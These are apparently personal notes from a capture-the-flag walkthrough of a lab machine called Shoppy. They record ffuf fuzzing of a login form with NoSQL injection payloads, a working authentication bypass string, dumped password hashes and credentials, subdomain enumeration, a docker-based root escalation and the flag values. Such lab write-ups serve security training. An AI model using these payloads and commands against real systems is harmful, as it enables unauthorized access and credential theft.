Shoppy
gobuster
dirb
admin redirects to login if not authenticated
./ffuf -u http://shoppy.htb/login -c -w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt -X POST -d 'username=adminFUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded'
{$nin: [""]}} [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 66ms]
{ $ne: 1 } [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 84ms]
db.injection.insert({success:1}); [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 151ms]
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 173ms]
{"$gt": ""} [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 175ms]
|| 1==1 [Status: 302, Size: 51, Words: 4, Lines: 1, Duration: 195ms]
' || 'a'=='a [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 254ms]
username
admin' || 'a'=='a
any value password
tried same thing here
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]
remembermethisway
fuff dns enumeration
./ffuf -u http://shoppy.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.shoppy.htb"
added mattermost to etc/hosts
username: jaeger
password: Sh0ppyBest@pp!
user flag
8b16a2e6370a05ed233abb89376e1938
docker run -it alpine /bin/sh

docker gtfobn
root.txt flag
254cdf4f215d21229355bac41b1af2af


























